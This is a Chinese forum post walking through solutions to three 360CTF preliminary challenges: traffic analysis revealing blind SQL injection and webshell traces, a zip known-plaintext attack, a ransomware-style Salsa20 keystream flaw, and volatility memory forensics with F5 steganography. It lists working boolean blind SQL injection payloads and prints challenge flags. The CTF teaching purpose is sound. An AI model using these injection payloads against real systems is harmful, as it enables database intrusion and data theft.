查看: 82|回复: 0

[Misc] 3CTF初赛题目详解(下)

[复制链接]
发表于 2020-5-4 10:15:49 | 显示全部楼层 |阅读模式
  文章目录
  •     8:注入真的好难!!!
  •     9:你知道Alice的密码吗?
  •     10:google语法真不错!!!
    8:注入真的好难!!!  题目类型:Web
  解题思路
  过滤HTTP请求

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  可以看到进行了sql盲注,采用二分法对数据库进行注入,获取数据。
  判断数据库的个数,可以看见当数据返回长度为1003时结束,由此可以对下面操作进行判断,返回最小的长度为1003的输出结果。

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  经过分析:
  1、获取数据库个数
/sql/Less-8/?id=1' and ((select count(schema_name) from information_schema.schemata) > {0})%23"
  共有7个数据库
  2、获取数据库长度
/sql/Less-8/?id=1' and ((select length(schema_name) from information_schema.schemata limit 0,1) > {0})%23"
  第一个数据库长度18
/sql/Less-8/?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) > {0})%23"
  第二个数据库长度6
  3、获取数据库名
/sql/Less-8/?id=1' and ascii(substr((select concat(SCHEMA_NAME) from information_schema.SCHEMATA limit 0,1),{0},1))>{1} %23"
  第一个数据库长度18,依次类推获得数据库ASCII,转化为information_schema
/sql/Less-8/?id=1' and ascii(substr((select concat(SCHEMA_NAME) from information_schema.SCHEMATA limit 1,1),{0},1))>{1} %23"
  第二个数据库长度6,依次类推获得数据库ASCII,转化为360ctf
  4、表个数
/sql/Less-8/?id=1' and (select count(distinct+table_name) from information_schema.tables where table_schema='360ctf') >{0} %23"
  共有1个表
  5、获取表长度
/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema='360ctf' limit 0,1) >{0} %23"
  表长度为4
  6、获取表名
/sql/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='360ctf' limit 0,1),{0},1))>{1} %23"
  表长度为4,依次类推获得数据库ASCII,转化为flag
  7、获取字段个数
/sql/Less-8/?id=1' and (select count(distinct+column_name) from information_schema.columns where table_schema='360ctf' and table_name='flag' ) >{0} %23"
  获取字段数为2
  8、获取字段长度
/Less-8/?id=1' and (select length(column_name) from information_schema.columns where table_schema='360ctf' and table_name='flag' limit 0,1) >{0} %23"
  第一个字段长为3,第二个字段长为6
  8、获取字段名
/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),{0},1))>{1} %23"
  第一个字段ASCII,转化为url,第二个字段ASCII,转化为passwd
  9、获取行数
/Less-8/?id=1' and ((select count(*) from 360ctf.flag ) > {0})%23"
  行数为1行
  10、获取内容长度
/sql/Less-8/?id=1' and ((select length(url) from 360ctf.flag limit 0,1) > {0})%23"
  第一个长度为13,第二个长度为5
  11、获取内容
/sql/Less-8/?id=1' and ascii(substr((select url from 360ctf.flag limit 0,1),{0},1))>{1} %23"
  url为:t.cn/Ai8PhqSb
  passwd为:bkis
  访问百度云盘得到一个加密的压缩包,追踪流还发现菜刀连接的痕迹,发现存在readme.7z文件。

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  通过导出HTTP请求可以发现所有的sql请求以及下载的readme.7z压缩包。

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  保存readme.7z文件到本地,发现flag.zip里面也存在readme.txt,执行明文攻击。
  使用7z对readme.txt进行压缩,是的CRC32校验值和flag.zip里面的一样。

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  使用ARCHPR进行明文攻击

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  明文没有破解出来,但是可以使用加密秘钥进行解密操作。

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  保存为flag_decrypted.zip,成功解密得到flag.txt

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
flag{1d0ea6a36f6aaf7fa5d4b007454227d6}
    9:你知道Alice的密码吗?  Alice把一个秘密藏在了她最爱读的“4书”的文件末尾,但不幸的是这个文件被勒索病毒加密了。还好她还有一份“4书”未藏秘密前的备份,不然就连“4书”都没得看了。但这个备份是未藏秘密之前做的,你能帮Alice找回她的秘密吗?(需要提供2个文件:4书.enc、4书.备份)
  这是Alice的朋友帮她逆向得到的勒索病毒的加密部分代码:
#define R(a,b) (((a) << (b)) | ((a) >> (32 - (b))))    void crypt(uint32 out[16],uint32 in[16])    {        int i;        uint32 x[16];        for (i = 0;i < 16;++i)            x[i] = in[i];        for (i = 20;i > 0;i -= 2) {            x[ 4] ^= R(x[ 0]+x[12], 7);  x[ 8] ^= R(x[ 4]+x[ 0], 9);            x[12] ^= R(x[ 8]+x[ 4],13);  x[ 0] ^= R(x[12]+x[ 8],18);            x[ 9] ^= R(x[ 5]+x[ 1], 7);  x[13] ^= R(x[ 9]+x[ 5], 9);            x[ 1] ^= R(x[13]+x[ 9],13);  x[ 5] ^= R(x[ 1]+x[13],18);            x[14] ^= R(x[10]+x[ 6], 7);  x[ 2] ^= R(x[14]+x[10], 9);            x[ 6] ^= R(x[ 2]+x[14],13);  x[10] ^= R(x[ 6]+x[ 2],18);            x[ 3] ^= R(x[15]+x[11], 7);  x[ 7] ^= R(x[ 3]+x[15], 9);            x[11] ^= R(x[ 7]+x[ 3],13);  x[15] ^= R(x[11]+x[ 7],18);            x[ 1] ^= R(x[ 0]+x[ 3], 7);  x[ 2] ^= R(x[ 1]+x[ 0], 9);            x[ 3] ^= R(x[ 2]+x[ 1],13);  x[ 0] ^= R(x[ 3]+x[ 2],18);            x[ 6] ^= R(x[ 5]+x[ 4], 7);  x[ 7] ^= R(x[ 6]+x[ 5], 9);            x[ 4] ^= R(x[ 7]+x[ 6],13);  x[ 5] ^= R(x[ 4]+x[ 7],18);            x[11] ^= R(x[10]+x[ 9], 7);  x[ 8] ^= R(x[11]+x[10], 9);            x[ 9] ^= R(x[ 8]+x[11],13);  x[10] ^= R(x[ 9]+x[ 8],18);            x[12] ^= R(x[15]+x[14], 7);  x[13] ^= R(x[12]+x[15], 9);            x[14] ^= R(x[13]+x[12],13);  x[15] ^= R(x[14]+x[13],18);        }        for (i = 0;i < 16;++i)            out[i] = x[i] + in[i];    }
  题目类型:加密破解
  解题思路
  1.对比备份“4书”和被加密的“4书”,可以猜到加密不改变文件长度,以及秘密长度。
  2.分析加密算法,找到算法缺陷。
  3.发现缺陷:只要已知4MB明文,可以恢复其余密文。
  4.设计算法解密:

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  5.解密得到全部明文。
  6.在文件尾部找到秘密。
  答案:=&360CTF{^o^[email protected]_tHe_Salsa_seCrEt~!!}
    10:google语法真不错!!!  题目类型:取证
  解题思路
  volatility -f xp.raw imageinfo  //识别系统

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  volatility -f xp.raw –profile=WinXPSP2x86 pslist   //查看进程

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  存在cmd、ie等进程。
  volatility -f xp.raw –profile=WinXPSP2x86 cmdscan  //cmd历史命令

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  执行了6条命令,乱码应该是桌面
  volatility -f xp.raw –profile=WinXPSP2x86 filescan | grep 桌面 //查看桌面

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  存在桌面jpg文件
  volatility -f xp.raw –profile=WinXPSP2x86 dumpfiles -D ./ -Q 0x000000000215f340   //保存文件出来

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  保存360.jpg文件到本地
  volatility -f xp.raw –profile=WinXPSP2x86 iehistory  //ie历史记录

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  发现搜索了github以及Syst2m,进行google搜索,发现Syst2m的一个github

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  https://github.com/Syst2m/360CTF,存在一个360CTF的仓库。

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  通过查看commits和release发现为F5图片隐写。

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  F5隐写
java Extract ../360.jpg -p 360CTFisSOeasy

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
  生成output.txt

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)

3CTF初赛题目详解(下)
flag{0b9c9fc7d19a072ee23cf10729338041}
  如果你想展示你的CTF能力,我们提供给你机会,平台近期开始向社会征集CTF题目,题目类型不限制,奖励丰厚,有想法的大佬可以联系
  [email protected]


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
快速回复 返回顶部 返回列表